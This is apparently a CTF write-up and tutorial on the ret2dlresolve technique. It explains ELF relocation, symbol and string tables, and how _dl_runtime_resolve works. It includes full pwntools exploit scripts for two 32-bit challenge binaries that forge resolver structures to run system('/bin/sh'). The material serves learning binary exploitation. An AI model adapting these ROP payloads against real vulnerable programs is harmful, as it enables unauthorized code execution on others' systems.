ret2dlresolve

Release date: Sunday, July 31, 2022


Elf file uses to relocation dynamically linked functions. It is the core of ret2dlresolve attack: _dl_runtime_resolve(link_map, reloc_offset).

  • 3 things u must notice are used in resolve symbol address:
    • relocation table .rel.plt
    • dynamic symbol tables.dynsym
    • dynamic string tables .dynstr

approach method

Idea1: Direct control over the content of the .rel.plt items

Because of resolve process according to the name of the symbol. Therefore, by changing the string corresponding to a function in the string table to the string corresponding to the target function. Howerver, .dynstr and code are mapped together are read-only, similarly with .dynsym and .rel.plt.
However, if we can control the flow of program execution, then we can forge a suitable relocation offset. (This approach is cubersome)

Idea2: Indirectly control the content of .rel.plt items

If we can modify the content in dynamic section, it is naturally easy to control the string corresponding to the symbol to be parsed.

Dynamic connectors primarily rely on link_map to query related addresses when resolving symbolic addresses.

x86

No RELRO

main.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

gcc -fno-stack-protector -m32 -z norelro -no-pie main.c -o main_norelro_32

​​​​Arch:     i386-32-little
​​​​RELRO:    No RELRO
​​​​Stack:    No canary found
​​​​NX:       NX enabled
​​​​PIE:      No PIE (0x8048000)
  1. Modify the addr of string table in the .dynamic section to a fake addr.
readelf -S ./elf_norelro_32
[20] .dynamic    DYNAMIC    0804b10c 

  1. Construct a string table at the fake address, and replace the read/gets... (corresponding function) string with the system string.
  2. Read the /bin/sh string at a specific location.
  • Choose forged .dynstr location = 0x804b500
  1. Calling the read/gets... (corresponding function) _dl_runtime_resolve triggers function parsing.

Solution

rop = ROP(context.binary)
offset = 112
rop.raw(offset*b'A')
rop.read(0,0x804B14C+4,4) # modify .dynstr pointer in .dynamic section to a specific location

# copy dynstr the replace "read" string
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
    
rop.read(0,0x804b500,len((dynstr))) # construct a fake dynstr section
rop.read(0,0x804b500+0x100,len(b"/bin/sh\x00")) # read /bin/sh\x00
rop.raw(0x8049066) # the second instruction of read@plt:
'''
0x8049060 <read@plt+0>     jmp    DWORD PTR ds:0x804b214
0x8049066 <read@plt+6>     push   0x10
0x804906b <read@plt+11>    jmp    0x8049030
'''
rop.raw(0xdeadbeef) # The return address after call system
rop.raw(0x804b500+0x100) # arg - /bin/sh
# print(rop.dump())
assert(len(rop.chain())<=256)
rop.raw(b"a"*(256-len(rop.chain())))
    
io = start()
io.recvuntil(b'Welcome to XDCTF2015~!\n')
io.send(rop.chain())
io.send(p32(0x804b500))
io.send(dynstr)
io.send(b"/bin/sh\x00")
io.interactive()

Partial RELRO

0CTF18 file

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

Because of Partial RELRO, .dynamic section has read-only perm

int vuln()
{
  char buf[40]; // [esp+0h] [ebp-28h] BYREF
  return read(0, buf, 64u);
}

obviously, it’s a trivial bof, but we don’t have any emit funcs to leak. No libc provided, so no offset calculation possible.

JMPREL (.rel.plt)

Stores a table called Relocation table. Each entry maps to a symbol.

typedef uint32_t Elf32_Addr; 
typedef uint32_t Elf32_Word; 
typedef struct{
   Elf32_Addr r_offset ; /* Address */ 
   Elf32_Word r_info ; /* Relocation type and symbol index */ 
} Elf32_Rel;
 
#define ELF32_R_SYM(val) ((val) >> 8) 
#define ELF32_R_TYPE(val) ((val) & 0xff)

The type of these entries is Elf32_Rel, which is defined as it follows. The size of one entry is 8 bytes.

$ readelf -r babystack

Relocation section '.rel.dyn' at offset 0x2a8 contains 1 entry:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000306 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   alarm@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

Let's take a look at our table:

  • The column Name gives the name of our symbol: read@GLIBC_2.0;
  • Offset is the address of the GOT entry for the symbol: 0x0804a00c;
  • Info stores additional metadata such as ELF32_R_SYM or ELF32_R_TYPE;

According to the defined MACROS, ELF32_R_SYM(r_info) == 1 and ELF32_R_TYPE(r_info) == 7 (R_386_JUMP_SLOT). Keep in mind that R_SYM is 1, we will use it later.

STRTAB (.dynstr)

STRTAB is a simple table that stores the strings for symbols name.

0x804822C ; ELF String Table
0x804822C byte_804822C    db 0
0x804822D aLibcSo6        db 'libc.so.6',0
0x8048237 aIoStdinUsed    db '_IO_stdin_used',0
0x8048246 aRead           db 'read',0
0x804824B aAlarm          db 'alarm',0
0x8048251 aLibcStartMain  db '__libc_start_main',0
0x8048263 aGmonStart      db '__gmon_start__',0
0x8048272 aGlibc20        db 'GLIBC_2.0',0

SYMTAB (.dynsym)

This table holds relevant symbol information. Each entry is a Elf32_Sym structure and its size is 16 bytes.

typedef struct { 
   Elf32_Word st_name ; /* Symbol name (string tbl index) -4b*/
   Elf32_Addr st_value ; /* Symbol value -4b*/ 
   Elf32_Word st_size ; /* Symbol size -4b*/ 
   unsigned char st_info ; /* Symbol type and binding-1b */ 
   unsigned char st_other ; /* Symbol visibility under glibc>=2.2 -1b */ 
   Elf32_Section st_shndx ; /* Section index -2b*/ 
} Elf32_Sym;

The first field, st_name, gives the offset in STRTAB
where the name of the symbol begins. The other fields of this structure are not used in the exploit, so I will ignore them. The ELF32_R_SYM(r_info) == 1 variable (which we got from the JMPREL table) gives the index of the Elf32_Sym in SYMTAB for the specified symbol. In this particular case, index is 1. Let's analyze this entry.

> x/4wx 0x80481cc + (1*16) # SYMTAB+(index + sizeof(entry) 
# where index = ELF32_R_SYM(r_info)
0x80481dc:  0x0000001a  0x00000000  0x00000000  0x00000012

> x/s 0x804822c + 0x1a # STRTAB + st_name
0x8048246:  "read" # addr and its symbol name respectively

Adding the first dword from elf32_sym to STRTAB gives the address of the symbol name.

_dl_runtime_resolve

pwndbg> x/3i 0x8048300 # read@plt
0x8048300 <read@plt>:    jmp   DWORD PTR ds:0x804a00c # read@got.plt
0x8048306 <read@plt+6>:  push  0x0 # reloc_arg
0x804830b <read@plt+11>: jmp   0x80482f0

pwndbg> x/wx 0x804a00c
0x804a00c <read@got.plt>: 0x08048306 # not resolved, points back to .plt

pwndbg> x/2i 0x80482f0 # plt default stub
0x80482f0:  push  DWORD PTR ds:0x804a004 # push link_map
0x80482f6:  jmp   DWORD PTR ds:0x804a008 # jmp _dl_runtime_resolve
pwndbg> x/wx 0x804a008
0x804a008:  0xf7fe7b10 # _dl_runtime_resolve

pwndbg> x/12i 0xf7fe7b10
0xf7fe7b10:  endbr32
0xf7fe7b14:  push   eax
0xf7fe7b15:  push   ecx
0xf7fe7b16:  push   edx
0xf7fe7b17:  mov    edx,DWORD PTR [esp+0x10]
0xf7fe7b1b:  mov    eax,DWORD PTR [esp+0xc]
0xf7fe7b1f:  call   0xf7fe17d0 # _dl_fixup
0xf7fe7b24:  pop    edx
0xf7fe7b25:  mov    ecx,DWORD PTR [esp]
0xf7fe7b28:  mov    DWORD PTR [esp],eax
0xf7fe7b2b:  mov    eax,DWORD PTR [esp+0x4]
0xf7fe7b2f:  ret    0xc
  1. after call read@plt , the program read GOT val frrom (0x804a00c) and jmp back into PLT section.
  2. push the parameter 0x0 (relog_arg/rel_offset) to stack.
  3. Push extra parameter (link_map) and jmps to resolver.

The process specified above is equivalent to the following function call: _dl_runtime_resolve (link_map , rel_offset/relog_arg)

The rel_offset gives the offset of the Elf32_Rel in JMPREL table. Link_map (0x804a004) is nothing but a list with all the loaded libraries.

_dl_runtime_resolve uses this list to resolve the symbol. After relocating the symbol and its entry in SYMTAB populated, the initial call of read will be invoked. The pseudocode below summarize the process described until now:

// call of unresolved read(0, buf, 0x100)
_dl_runtime_resolve(link_map, rel_offset) {
    Elf32_Rel * rel_entry = JMPREL + rel_offset ;
    Elf32_Sym * sym_entry = &SYMTAB[ELF32_R_SYM(rel_entry->r_info)];
    char * sym_name = STRTAB + sym_entry->st_name ;
    _search_for_symbol_(link_map, sym_name);
    // invoke initial read call now that symbol is resolved
    read(0, buf, 0x100);
}
_dl_runtime_resolve(link_map, rel_offset)
                                       +
          +-----------+                |
          | Elf32_Rel | <--------------+
          +-----------+
     +--+ | r_offset  |        +-----------+
     |    |  r_info   | +----> | Elf32_Sym |
     |    +-----------+        +-----------+      +----------+
     |      .rel.plt           |  st_name  | +--> | system\0 |
     |                         |           |      +----------+
     v                         +-----------+        .dynstr
+----+-----+                      .dynsym
| <system> |
+----------+
  .got.plt
  • fake Elf32_Rel
    • r_offset writable (after resolving symbol write the actual address of function)
    • r_info high 24 bits
      • (r_info >> 8) * 16 point to fake Elf32_Sym (16 is size of Elf32_Sym)
    • r_info low 8 bits
      • must be 0x07 (R_386_JMP_SLOT)
  • fake Elf32_Sym
    • .dynstr + st_name point to system string

Read the fake Elf32_RelElf32_Sym structures and ret2main to call _dl_runtime_resolve.

  • use plt0
Disassembly of section .plt:
080482f0 <read@plt-0x10>: // plt0
80482f0: push   DWORD PTR ds:0x804a04// push link_map
80482f6: jmp    DWORD PTR ds:0x804a008 // jmp _dl_runtime_resolve

We can calculate the reloc_arg to make .rel.plt + reloc_arg point to our fake structures and jump to plt0, let it resolve symbol to system.

After resolving the symbol, _dl_runtime_resolve will call the function.

Poc

#!/usr/bin/env python3 from pwn import * def start(argv=[], *a, **kw): return process([exe] + argv, *a, **kw) exe = './babystack' elf = context.binary = ELF(exe, checksec=False) context.log_level = 'info' # push link_map & call dl_resolve PLT0 = elf.get_section_by_name(".plt")["sh_addr"] BSS = elf.get_section_by_name(".bss")["sh_addr"] STRTAB, SYMTAB, JMPREL = map(elf.dynamic_value_by_tag,["DT_STRTAB", "DT_SYMTAB", "DT_JMPREL"]) vuln = 0x804843b io = start() payload2_size = 44 #____STATE 1: call read(0, bss, size), then ret to vuln________ payload1 = flat({ 44: [ elf.sym.read, vuln, # After the read call, return to vuln 0, # stdin BSS, # place to write forge .rel.plt and .dynsym payload2_size, ] }) io.send(payload1) #____STATE 2: Set up forge area in BSS section_________________ dynsym_idx = ((BSS + (0x4*3)) - SYMTAB) // 0x10 r_info = (dynsym_idx << 8) | 0x7 # Calculate the offset from the start of dynstr section # to our dynstr entry dynstr_offset = (BSS + (0x4*7)) - STRTAB payload2 = flat({ 0: [ # .rel.plt elf.got.alarm, # r_offset r_info, # r_info 0, # r_addend # .dynsym dynstr_offset, # st_name p32(0)*3, # other b'system\x00\x00', b'/bin/sh\x00', ] }) io.send(payload2) #____STATE 3: call PLT0 (resolver) = system('/bin/sh')_________ binsh_addr = BSS + 12 + 16 + 8 # Calculate the .rel.plt offset rel_plt_offset = BSS - JMPREL payload3 = flat({ 44:[ PLT0, # calling the functions for resolving rel_plt_offset, # .rel.plt offset 0xdeadbeef, # The return address after resolving binsh_addr, # argument ] }) ''' mov edx, dword ptr[esp+0x10] ; edx = rel_plt_offset mov eax, dword prt[esp+0xc] ; call _dl_fixup ''' io.send(payload3) io.interactive()

Refs:

link1 link2

x64

Partial Relro:

​​​​Arch:     amd64-64-little
​​​​RELRO:    Partial RELRO
​​​​Stack:    No canary found
​​​​NX:       NX enabled
​​​​PIE:      No PIE (0x400000)

JMPREL (.rela.plt): It contains information used by the linker to perform relocations. It’s composed by 24 aligned Elf64_Rel structures.

  • r_offset: the location where the address of the resolved symbol will be stored (In the GOT).
  • r_info: Indicates the relocation type and acts as a symbol table index. It will be used to locate the corresponding Elf64_Sym structure in the DYNSYM section.
typedef struct
{
  Elf64_Addr        r_offset;    /* 64 bit - Address */
  Elf64_Xword       r_info;      /* 64 bit - Relocation type and symbol index */
  Elf64_Sxword      r_addend;    /* 64 bit - Addend */
} Elf64_Rela; // 24 bytes
/* How to extract and insert information held in the r_info field.*/
#define ELF64_R_SYM(i)         ((i) >> 32)
#define ELF64_R_TYPE(i)        ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

According IDA, the offset of the write function in the symbol table is 2 (0x200000007h>>32).

LOAD:04005C0 ; ELF JMPREL Relocation Table
LOAD:04005C0 Elf64_Rela <404018h, 200000007h, 0> ; R_X86_64_JUMP_SLOT write
LOAD:04005D8 Elf64_Rela <404020h, 300000007h, 0> ; R_X86_64_JUMP_SLOT strlen
LOAD:04005F0 Elf64_Rela <404028h, 400000007h, 0> ; R_X86_64_JUMP_SLOT setbuf
LOAD:0400608 Elf64_Rela <404030h, 500000007h, 0> ; R_X86_64_JUMP_SLOT read

DYNSYM (.dynsym): Contains a symbol table. It’s composed by 0x18 aligned Elf64_Sym structures. Every structure associates a symbolic name with a piece of code elsewhere in the binary.

typedef struct
{
  Elf64_Word     st_name;    /* 32bit - Symbol name (string tbl index) */
  unsigned char  st_info;    /* Symbol type and binding */
  unsigned char  st_other;   /* Symbol visibility */
  Elf64_Section  st_shndx;   /* 16 bits - Section index */
  Elf64_Addr     st_value;   /* 64 bits - Symbol value */
  Elf64_Xword    st_size;    /* 64 bits - Symbol size */
} Elf64_Sym; // 24 bytes
  • st_name: It acts as a string table index. It will be used to locate the right string in the STRTAB section.
  • st_info: symbol’s type and binding attributes.
  • st_other: symbol’s visibility.
  • st_shndx: the relevant section header table index.
  • st_value: the value of the associated symbol.
  • st_size: the symbol’s size. If the symbol has no size or the size is unknown, it contains 0.
LOAD:04003D8 ; ELF Symbol Table
LOAD:04003D8 Elf64_Sym <0>
LOAD:04003F0 Elf64_Sym <offset aLibcStartMain - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "__libc_start_main"
LOAD:0400408 Elf64_Sym <offset aWrite - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "write"
LOAD:0400420 Elf64_Sym <offset aStrlen - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "strlen"
LOAD:0400438 Elf64_Sym <offset aSetbuf - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "setbuf"
LOAD:0400450 Elf64_Sym <offset aRead - offset unk_4004B0, 12h, 0, 0, 0, 0> ; "read"

Reference:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

tags: research pwn